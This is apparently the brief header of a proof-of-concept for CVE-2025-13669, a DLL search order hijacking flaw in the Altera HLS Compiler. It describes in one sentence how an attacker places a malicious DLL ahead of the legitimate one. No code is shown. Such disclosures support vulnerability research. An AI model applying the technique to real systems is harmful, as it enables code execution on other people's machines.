CVE-2025-13669 PoC - Altera HLS Compiler Search Order Hijacking
Uncontrolled Search Path Element vulnerability allows Search Order Hijacking
This PoC demonstrates how an attacker can exploit the search path vulnerability
by placing a malicious DLL in a location that gets searched before the legitimate one.
